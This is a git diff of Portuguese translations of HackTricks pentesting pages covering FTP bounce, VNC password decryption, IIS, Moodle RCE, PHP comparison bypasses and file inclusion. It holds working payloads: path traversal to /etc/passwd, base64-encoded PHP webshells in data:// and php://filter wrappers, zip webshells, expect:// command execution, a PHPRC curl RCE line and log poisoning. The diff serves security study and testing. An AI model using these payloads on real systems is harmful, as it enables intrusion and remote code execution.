+1. **Carregue a solicitação (dentro de um arquivo de texto) para o servidor vulnerável.** Lembre-se de que se você quiser falar com outro servidor HTTP ou FTP, precisa mudar as linhas com `0x0d 0x0a`
 2. **Use `REST X` para evitar enviar os caracteres que você não quer enviar** (talvez para carregar a solicitação dentro do arquivo você precisou colocar algum cabeçalho de imagem no início)
 3. **Use `PORT` para se conectar ao servidor e serviço arbitrários**
 4. **Use `RETR` para enviar a solicitação salva para o servidor.**
@ -164,9 +164,9 @@ A teoria é fácil:

 - Se você estiver enviando uma solicitação HTTP, **coloque a mesma solicitação uma após a outra** até **\~0.5MB** pelo menos. Assim:

-{% file src="../../images/posts.txt" %}
+{{#file}}
 posts.txt
-{% endfile %}
+{{#endfile}}

 - Tente **preencher a solicitação com dados "lixo" relativos ao protocolo** (falando com FTP, talvez apenas comandos lixo ou repetindo a instrução `RETR` para obter o arquivo)
 - Apenas **preencha a solicitação com muitos caracteres nulos ou outros** (divididos em linhas ou não)
--- a/src/network-services-pentesting/pentesting-vnc.md
+++ b/src/network-services-pentesting/pentesting-vnc.md
@ -2,12 +2,11 @@

 {{#include ../banners/hacktricks-training.md}}

-
 ## Informações Básicas

 **Virtual Network Computing (VNC)** é um sistema robusto de compartilhamento de desktop gráfico que utiliza o protocolo **Remote Frame Buffer (RFB)** para permitir o controle remoto e a colaboração com outro computador. Com o VNC, os usuários podem interagir perfeitamente com um computador remoto, transmitindo eventos de teclado e mouse bidirecionalmente. Isso permite acesso em tempo real e facilita assistência remota ou colaboração eficiente através de uma rede.

-O VNC geralmente usa as portas **5800 ou 5801 ou 5900 ou 5901.**
+O VNC geralmente utiliza as portas **5800 ou 5801 ou 5900 ou 5901.**
 ```
 PORT    STATE SERVICE
 5900/tcp open  vnc
@ -23,7 +22,7 @@ msf> use auxiliary/scanner/vnc/vnc_none_auth
 ```bash
 vncviewer [-passwd passwd.txt] <IP>::5901
 ```
-## Descriptografando a senha do VNC
+## Decryptando a senha do VNC

 A **senha padrão está armazenada** em: \~/.vnc/passwd

@ -34,13 +33,14 @@ vncpwd <vnc password file>
 ```
 Você pode fazer isso porque a senha usada dentro do 3des para criptografar as senhas VNC em texto simples foi revertida anos atrás.\
 Para **Windows**, você também pode usar esta ferramenta: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
-Eu salvei a ferramenta aqui também para facilitar o acesso:
+Eu salvo a ferramenta aqui também para facilitar o acesso:

-{% file src="../images/vncpwd.zip" %}
+{{#file}}
+vncpwd.zip
+{{#endfile}}

 ## Shodan

 - `port:5900 RFB`

-
 {{#include ../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md
+++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md
@ -27,17 +27,19 @@ Location: https://192.168.5.237/owa/
 Server: Microsoft-IIS/10.0
 X-FEServer: NHEXCHANGE2016
 ```
-## Execute arquivos .config
+## Execute .config files

-Você pode fazer upload de arquivos .config e usá-los para executar código. Uma maneira de fazer isso é anexando o código ao final do arquivo dentro de um comentário HTML: [Baixar exemplo aqui](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
+Você pode fazer upload de arquivos .config e usá-los para executar código. Uma maneira de fazer isso é anexando o código ao final do arquivo dentro de um comentário HTML: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)

 Mais informações e técnicas para explorar essa vulnerabilidade [aqui](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)

-## Descoberta de IIS Bruteforce
+## IIS Discovery Bruteforce

 Baixe a lista que eu criei:

-{% file src="../../images/iisfinal.txt" %}
+{{#file}}
+iisfinal.txt
+{{#endfile}}

 Ela foi criada mesclando os conteúdos das seguintes listas:

@ -52,18 +54,18 @@ Use-a sem adicionar nenhuma extensão, os arquivos que precisam já a têm.

 ## Path Traversal

-### Vazamento de código fonte
+### Leaking source code

 Verifique a descrição completa em: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)

 > [!NOTE]
-> Em resumo, há vários arquivos web.config dentro das pastas da aplicação com referências a arquivos "**assemblyIdentity**" e "**namespaces**". Com essa informação, é possível saber **onde estão os executáveis** e baixá-los.\
+> Como resumo, há vários arquivos web.config dentro das pastas da aplicação com referências a "**assemblyIdentity**" e "**namespaces**". Com essa informação, é possível saber **onde estão os executáveis** e baixá-los.\
 > A partir dos **Dlls baixados**, também é possível encontrar **novos namespaces** onde você deve tentar acessar e obter o arquivo web.config para encontrar novos namespaces e assemblyIdentity.\
 > Além disso, os arquivos **connectionstrings.config** e **global.asax** podem conter informações interessantes.\\

 Em **aplicações .Net MVC**, o arquivo **web.config** desempenha um papel crucial ao especificar cada arquivo binário do qual a aplicação depende através de tags XML **"assemblyIdentity"**.

-### **Explorando Arquivos Binários**
+### **Exploring Binary Files**

 Um exemplo de acesso ao arquivo **web.config** é mostrado abaixo:
 ```markup
@ -211,9 +213,9 @@ Uma boa ideia para **encontrar o nome final** dos arquivos descobertos é **perg

 **Bypass** de uma autenticação básica (**IIS 7.5**) tentando acessar: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ou `/admin::$INDEX_ALLOCATION/admin.php`

-Você pode tentar **misturar** essa **vulnerabilidade** com a última para encontrar novas **pastas** e **burlar** a autenticação.
+Você pode tentar **misturar** essa **vulnerabilidade** e a última para encontrar novas **pastas** e **burlar** a autenticação.

-## Depuração habilitada do ASP.NET Trace.AXD
+## Depuração do ASP.NET Trace.AXD habilitada

 ASP.NET inclui um modo de depuração e seu arquivo é chamado `trace.axd`.

@ -234,7 +236,7 @@ ASPXAUTH usa as seguintes informações:
 - **`decryptionIV`** (string): vetor de inicialização codificado em hex (padrões para um vetor de zeros).
 - **`decryptionKey`** (string): chave codificada em hex para usar na descriptografia.

-No entanto, algumas pessoas usarão os **valores padrão** desses parâmetros e usarão como **cookie o e-mail do usuário**. Portanto, se você conseguir encontrar uma web usando a **mesma plataforma** que está usando o cookie ASPXAUTH e você **criar um usuário com o e-mail do usuário que deseja impersonar** no servidor sob ataque, você pode ser capaz de **usar o cookie do segundo servidor no primeiro** e impersonar o usuário.\
+No entanto, algumas pessoas usarão os **valores padrão** desses parâmetros e usarão como **cookie o e-mail do usuário**. Portanto, se você conseguir encontrar um site usando a **mesma plataforma** que está usando o cookie ASPXAUTH e você **criar um usuário com o e-mail do usuário que deseja impersonar** no servidor sob ataque, você pode ser capaz de **usar o cookie do segundo servidor no primeiro** e impersonar o usuário.\
 Esse ataque funcionou neste [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).

 ## Bypass de Autenticação do IIS com senhas em cache (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
--- a/src/network-services-pentesting/pentesting-web/moodle.md
+++ b/src/network-services-pentesting/pentesting-web/moodle.md
@ -2,7 +2,6 @@

 {{#include ../../banners/hacktricks-training.md}}

-
 ## Scans Automáticos

 ### droopescan
@ -67,7 +66,7 @@ Eu descobri que as ferramentas automáticas são bastante **inúteis para encont

 ## **RCE**

-Você precisa ter o papel de **gerente** e você **pode instalar plugins** dentro da aba **"Administração do site"**\*\*:\*\*
+Você precisa ter a função de **gerente** e você **pode instalar plugins** na aba **"Administração do site"**\*\*:\*\*

 ![](<../../images/image (630).png>)

@ -75,7 +74,9 @@ Se você for gerente, pode ainda precisar **ativar esta opção**. Você pode ve

 Então, você pode **instalar o seguinte plugin** que contém o clássico pentest-monkey php r**ev shell** (_antes de enviá-lo, você precisa descompactá-lo, mudar o IP e a porta do revshell e compactá-lo novamente_)

-{% file src="../../images/moodle-rce-plugin.zip" %}
+{{#file}}
+moodle-rce-plugin.zip
+{{#endfile}}

 Ou você poderia usar o plugin de [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) para obter um shell PHP regular com o parâmetro "cmd".

--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
+++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
@ -2,7 +2,6 @@

 {{#include ../../../banners/hacktricks-training.md}}

-
 ## Localização comum de Cookies:

 Isso também é válido para cookies do phpMyAdmin.
@ -19,23 +18,25 @@ Localizações:
 /tmp/
 Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
 ```
-## Ignorando comparações PHP
+## Bypassando comparações PHP

 ### Comparações soltas/Juggling de Tipo ( == )

-Se `==` for usado em PHP, então há casos inesperados onde a comparação não se comporta como esperado. Isso ocorre porque "==" compara apenas valores transformados para o mesmo tipo; se você também quiser comparar se o tipo dos dados comparados é o mesmo, precisa usar `===`.
+Se `==` é usado em PHP, então há casos inesperados onde a comparação não se comporta como esperado. Isso ocorre porque "==" só compara valores transformados para o mesmo tipo, se você também quiser comparar se o tipo dos dados comparados é o mesmo, você precisa usar `===`.

 Tabelas de comparação PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)

 ![](<../../../images/image (567).png>)

-{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
+{{#file}}
+EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
+{{#endfile}}

 - `"string" == 0 -> True` Uma string que não começa com um número é igual a um número
- `"0xAAAA" == "43690" -> True` Strings compostas por números em formato decimal ou hexadecimal podem ser comparadas a outros números/strings com resultado True se os números forem os mesmos (números em uma string são interpretados como números)
+- `"0xAAAA" == "43690" -> True` Strings compostas por números em formato dec ou hex podem ser comparadas a outros números/strings com True como resultado se os números forem os mesmos (números em uma string são interpretados como números)
 - `"0e3264578" == 0 --> True` Uma string que começa com "0e" e é seguida por qualquer coisa será igual a 0
 - `"0X3264578" == 0X --> True` Uma string que começa com "0" e é seguida por qualquer letra (X pode ser qualquer letra) e seguida por qualquer coisa será igual a 0
- `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada da string "0" e algum conteúdo que está sendo hashado e comparado a ela. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, poderá ignorar a comparação. Você pode encontrar **strings já hashadas** com esse formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
+- `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada da string de "0" e algum conteúdo que está sendo hashado e comparado a ela. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, você poderá contornar a comparação. Você pode encontrar **strings já hashadas** com esse formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
 - `"X" == 0 --> True` Qualquer letra em uma string é igual a int 0

 Mais informações em [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@ -73,7 +74,7 @@ Mesmo que `===` esteja **sendo usado**, pode haver erros que tornam a **compara

 #### Bypass de nova linha

-No entanto, ao delimitar o início da regexp, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então, se de alguma forma você puder **enviar** a entrada em **várias linhas**, poderá contornar essa verificação. Exemplo:
+No entanto, ao delimitar o início da regexp, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então, se de alguma forma você puder **enviar** a entrada em **várias linhas**, você poderá contornar essa verificação. Exemplo:
 ```php
 $myinput="aaaaaaa
 11111111"; //Notice the new line
@ -86,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
 echo preg_match("/^.*1.*$/",$myinput);
 //0  --> In this scenario preg_match DOESN'T find the char "1"
 ```
-Para contornar essa verificação, você pode **enviar o valor com quebras de linha urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, envie-o em **várias linhas**:
+Para contornar essa verificação, você pode **enviar o valor com novas linhas urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, enviá-los em **várias linhas**:
 ```php
 {
 "cmd": "cat /etc/passwd"
@ -132,7 +133,7 @@ $obfs += ""; //int 7
 ```
 ## Execute After Redirect (EAR)

-Se o PHP estiver redirecionando para outra página, mas nenhuma função **`die`** ou **`exit`** for **chamada após o cabeçalho `Location`** ser definido, o PHP continua executando e anexando os dados ao corpo:
+Se o PHP estiver redirecionando para outra página, mas nenhuma função **`die`** ou **`exit`** for **chamada após o cabeçalho `Location`** ser definido, o PHP continuará executando e anexando os dados ao corpo:
 ```php
 <?php
 // In this page the page will be read and the content appended to the body of
@ -153,7 +154,7 @@ Verifique:
 ## Mais truques

 - **register_globals**: Em **PHP < 4.1.1.1** ou se mal configurado, **register_globals** pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $\_GET, se tiverem um valor, por exemplo, $\_GET\["param"]="1234", você pode acessá-lo via **$param. Portanto, ao enviar parâmetros HTTP, você pode sobrescrever variáveis\*\* que são usadas dentro do código.
- Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo lugar**, portanto, se dentro de um domínio **cookies diferentes são usados em caminhos diferentes**, você pode fazer com que um caminho **acesse o cookie do caminho** definindo o valor do cookie do outro caminho.\
+- Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo lugar**, portanto, se dentro de um domínio **cookies diferentes são usados em caminhos diferentes**, você pode fazer com que um caminho **acesse o cookie do outro caminho** definindo o valor do cookie do outro caminho.\
 Dessa forma, se **ambos os caminhos acessarem uma variável com o mesmo nome**, você pode fazer com que o **valor dessa variável em path1 se aplique a path2**. E então path2 considerará válidos as variáveis de path1 (dando ao cookie o nome que corresponde a ele em path2).
 - Quando você tiver os **nomes de usuário** dos usuários da máquina. Verifique o endereço: **/\~\<USERNAME>** para ver se os diretórios php estão ativados.
 - [**LFI e RCE usando wrappers php**](../../../pentesting-web/file-inclusion/index.html)
@ -173,9 +174,9 @@ True

 #### Causando erro após definir cabeçalhos

-Do [**este thread do twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) você pode ver que enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não vai definir cabeçalhos na resposta.
+A partir de [**este thread do twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) você pode ver que enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não vai definir cabeçalhos na resposta.

-Permitindo contornar, por exemplo, cabeçalhos CSP sendo definidos em códigos como:
+Permitindo contornar, por exemplo, cabeçalhos CSP que estão sendo definidos em códigos como:
 ```php
 <?php
 header("Content-Security-Policy: default-src 'none';");
@ -281,7 +282,7 @@ Se você encontrar uma vulnerabilidade que permite **modificar variáveis de amb
 3. Defina a variável `PHPRC` para o arquivo que enviamos na etapa 2.
 - Obtenha mais informações sobre como executar essa cadeia [**do relatório original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
 - **PHPRC** - outra opção
- Se você **não puder fazer upload de arquivos**, você poderia usar no FreeBSD o "arquivo" `/dev/fd/0` que contém o **`stdin`**, sendo o **corpo** da solicitação enviada para o `stdin`:
+- Se você **não puder fazer upload de arquivos**, você poderia usar no FreeBSD o "arquivo" `/dev/fd/0` que contém o **`stdin`**, sendo o **corpo** da solicitação enviada ao `stdin`:
 - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
 - Ou para obter RCE, habilite **`allow_url_include`** e prepend um arquivo com **código PHP em base64**:
 - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
@ -349,7 +350,7 @@ echo "${Da}"; //Drums
 echo "$x ${$x}"; //Da Drums
 echo "$x ${Da}"; //Da Drums
 ```
-## RCE abusando de novo $\_GET\["a"]\($\_GET\["b")
+## RCE abusando de novo $\_GET\["a"]\($\_GET\["b"])

 Se em uma página você pode **criar um novo objeto de uma classe arbitrária**, você pode ser capaz de obter RCE, confira a página a seguir para aprender como:

--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@ -4,8 +4,8 @@

 ## Inclusão de Arquivos

-**Inclusão de Arquivos Remotos (RFI):** O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor o executará). Em php isso está **desativado** por padrão (**allow_url_include**).\
-**Inclusão de Arquivos Locais (LFI):** O servidor carrega um arquivo local.
+**Inclusão Remota de Arquivos (RFI):** O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor o executará). Em php isso está **desativado** por padrão (**allow_url_include**).\
+**Inclusão Local de Arquivos (LFI):** O servidor carrega um arquivo local.

 A vulnerabilidade ocorre quando o usuário pode controlar de alguma forma o arquivo que será carregado pelo servidor.

@ -113,7 +113,7 @@ Em PHP, várias representações de um caminho de arquivo podem ser consideradas
 - Quando os últimos 6 caracteres são `passwd`, adicionar um `/` (tornando-o `passwd/`) não muda o arquivo alvo.
 - Da mesma forma, se `.php` for adicionado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` no final não alterará o arquivo sendo acessado.

-Os exemplos fornecidos demonstram como utilizar o truncamento de caminho para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações da conta do usuário):
+Os exemplos fornecidos demonstram como utilizar o truncamento de caminho para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações da conta de usuário):
 ```
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -153,7 +153,7 @@ Se por algum motivo **`allow_url_include`** está **Ativado**, mas o PHP está *
 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
 ```
 > [!NOTE]
-> No código anterior, o final `+.txt` foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e, após a decodificação b64, essa parte retornará apenas lixo e o verdadeiro código PHP será incluído (e, portanto, executado).
+> No código anterior, o final `+.txt` foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e após a decodificação b64, essa parte retornará apenas lixo e o verdadeiro código PHP será incluído (e, portanto, executado).

 Outro exemplo **não usando o protocolo `php://`** seria:
 ```
@ -181,7 +181,7 @@ Parece que se você tiver uma Path Traversal em Java e **pedir um diretório** e

 ## Top 25 parameters

-Aqui está uma lista dos 25 principais parâmetros que podem ser vulneráveis a vulnerabilidades de inclusão de arquivos locais (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
+Aqui está uma lista dos 25 principais parâmetros que podem ser vulneráveis a vulnerabilidades de inclusão de arquivo local (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
 ```
 ?cat={payload}
 ?dir={payload}
@ -269,7 +269,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
 # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
 ```
 > [!WARNING]
-> A parte "php://filter" é insensível a maiúsculas e minúsculas
+> A parte "php://filter" é insensível a maiúsculas

 ### Usando filtros php como oráculo para ler arquivos arbitrários

@ -281,11 +281,11 @@ No post original, você pode encontrar uma explicação detalhada da técnica, m
 - Isso será usado para gerar um **texto tão grande quando a letra inicial for adivinhada corretamente** que o php acionará um **erro**.
 - O filtro **dechunk** irá **remover tudo se o primeiro caractere não for um hexadecimal**, então podemos saber se o primeiro caractere é hexadecimal.
 - Isso, combinado com o anterior (e outros filtros dependendo da letra adivinhada), nos permitirá adivinhar uma letra no início do texto ao ver quando fazemos transformações suficientes para que não seja mais um caractere hexadecimal. Porque se for hexadecimal, o dechunk não o deletará e a bomba inicial fará o php gerar um erro.
- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após este codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 desse codec a->b->c->d->e->f->g, a letra não é mais um caractere hexadecimal, portanto o dechunk não a deletou e o erro do php é acionado porque se multiplica com a bomba inicial.
+- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após este codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 desse codec a->b->c->d->e->f->g a letra não é mais um caractere hexadecimal, portanto o dechunk não a deletou e o erro do php é acionado porque se multiplica com a bomba inicial.
 - Usando outras transformações como **rot13** no início, é possível vazar outros caracteres como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hexadecimal).
 - Quando o caractere inicial é um número, é necessário codificá-lo em base64 e vazar as 2 primeiras letras para vazar o número.
 - O problema final é ver **como vazar mais do que a letra inicial**. Usando filtros de memória de ordem como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível mudar a ordem dos caracteres e obter na primeira posição outras letras do texto.
- E para poder obter **mais dados**, a ideia é **gerar 2 bytes de dados lixo no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazer com que **pivote com os próximos 2 bytes**, e **deletar os dados até os dados lixo** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para vazar.
+- E para poder obter **mais dados** a ideia é **gerar 2 bytes de dados lixo no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazer com que **pivote com os próximos 2 bytes**, e **deletar os dados até os dados lixo** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para vazar.

 No post, uma ferramenta para realizar isso automaticamente também foi vazada: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).

@ -301,7 +301,7 @@ Você também pode usar **php://stdin, php://stdout e php://stderr** para acessa
 ### zip:// e rar://

 Carregue um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\
-Para poder abusar do protocolo rar, ele **precisa ser ativado especificamente**.
+Para poder abusar do protocolo rar, **ele precisa ser ativado especificamente**.
 ```bash
 echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
 zip payload.zip payload.php;
@ -330,7 +330,7 @@ Observe que este protocolo é restrito pelas configurações do php **`allow_url

 ### expect://

-Expect deve ser ativado. Você pode executar código usando isso:
+O Expect deve ser ativado. Você pode executar código usando isto:
 ```
 http://example.com/index.php?page=expect://id
 http://example.com/index.php?page=expect://ls
@ -371,8 +371,8 @@ phar-deserialization.md
 ### CVE-2024-2961

 Foi possível abusar de **qualquer arquivo arbitrário lido do PHP que suporta filtros php** para obter um RCE. A descrição detalhada pode ser [**encontrada neste post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-Um resumo muito rápido: um **overflow de 3 bytes** na heap do PHP foi abusado para **alterar a cadeia de blocos livres** de um tamanho específico para poder **escrever qualquer coisa em qualquer endereço**, então um hook foi adicionado para chamar **`system`**.\
-Foi possível alocar blocos de tamanhos específicos abusando de mais filtros php.
+Um resumo muito rápido: um **overflow de 3 bytes** na heap do PHP foi abusado para **alterar a cadeia de chunks livres** de um tamanho específico para poder **escrever qualquer coisa em qualquer endereço**, então um hook foi adicionado para chamar **`system`**.\
+Foi possível alocar chunks de tamanhos específicos abusando de mais filtros php.

 ### Mais protocolos

@ -410,11 +410,11 @@ Da mesma forma, para executar comandos de sistema arbitrários, pode-se usar:
 > [!WARNING]
 > Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo**, mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) e o conteúdo não é exibido.

-Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como uma travessia de caminho cega pode ser abusada via filtro PHP para **exfiltrar o conteúdo de um arquivo através de um oráculo de erro**.
+Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como uma travessia de caminho cega pode ser abusada via filtro PHP para **exfiltrar o conteúdo de um arquivo via um oráculo de erro**.

 Em resumo, a técnica usa a **"codificação UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo irá disparar um **erro**.

-Então, para vazar o primeiro caractere, o filtro **`dechunk`** é usado junto com outros como **base64** ou **rot13** e finalmente os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros caracteres no início e vazá-los**.
+Então, para vazar o primeiro caractere, o filtro **`dechunk`** é usado junto com outros como **base64** ou **rot13** e, finalmente, os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros caracteres no início e vazá-los**.

 **Funções que podem ser vulneráveis**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (apenas alvo de leitura com isso)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`

@ -435,7 +435,7 @@ Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função inclu
 >
 > Além disso, certifique-se de **escrever corretamente a carga** ou o PHP dará erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.

-Isso também pode ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs pode estar URL codificado e isso pode destruir o Shell. O cabeçalho **authorisation "basic"** contém "user:password" em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro deste cabeçalho.\
+Isso também pode ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs pode estar URL codificado e isso pode destruir o Shell. O cabeçalho **authorisation "basic"** contém "user:password" em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse cabeçalho.\
 Outros possíveis caminhos de log:
 ```python
 /var/log/apache2/access.log
@ -468,7 +468,7 @@ User-Agent: <?=phpinfo(); ?>
 ```
 ### Via upload

-Se você puder fazer o upload de um arquivo, basta injetar a carga útil do shell nele (por exemplo: `<?php system($_GET['c']); ?>`).
+Se você puder fazer o upload de um arquivo, basta injetar o payload da shell nele (por exemplo: `<?php system($_GET['c']); ?>`).
 ```
 http://example.com/index.php?page=path/to/uploaded/file.png
 ```
@ -513,7 +513,7 @@ Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_.

 ### Via php base64 filter (using base64)

-Como mostrado neste [link](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64), o filtro base64 do PHP simplesmente ignora o que não é base64. Você pode usar isso para contornar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele apenas ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload:
+Como mostrado em [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro base64 do PHP simplesmente ignora Non-base64. Você pode usar isso para contornar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele apenas ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload:
 ```url
 http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

@ -521,7 +521,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
 ### Via php filters (sem arquivo necessário)

-Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **filtros php para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para a inclusão **sem precisar escrevê-lo** em um arquivo.
+Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **filtros php para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para o include **sem precisar escrevê-lo** em um arquivo.

 {{#ref}}
 lfi2rce-via-php-filters.md
@ -561,7 +561,7 @@ lfi2rce-via-temp-file-uploads.md

 ### Via `pearcmd.php` + argumentos de URL

-Como [**explicado neste post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão em imagens docker do php. Além disso, é possível passar argumentos para o script via URL porque está indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como um argumento.
+Como [**explicado neste post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão nas imagens docker do php. Além disso, é possível passar argumentos para o script via URL porque está indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como um argumento.

 A seguinte solicitação cria um arquivo em `/tmp/hello.php` com o conteúdo `<?=phpinfo()?>`:
 ```bash
@ -584,7 +584,7 @@ lfi2rce-via-phpinfo.md

 ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure

-Se você encontrou uma **Local File Inclusion** e **pode exfiltrar o caminho** do arquivo temporário, MAS o **servidor** está **checando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **contornar essa verificação** com esta **Race Condition**:
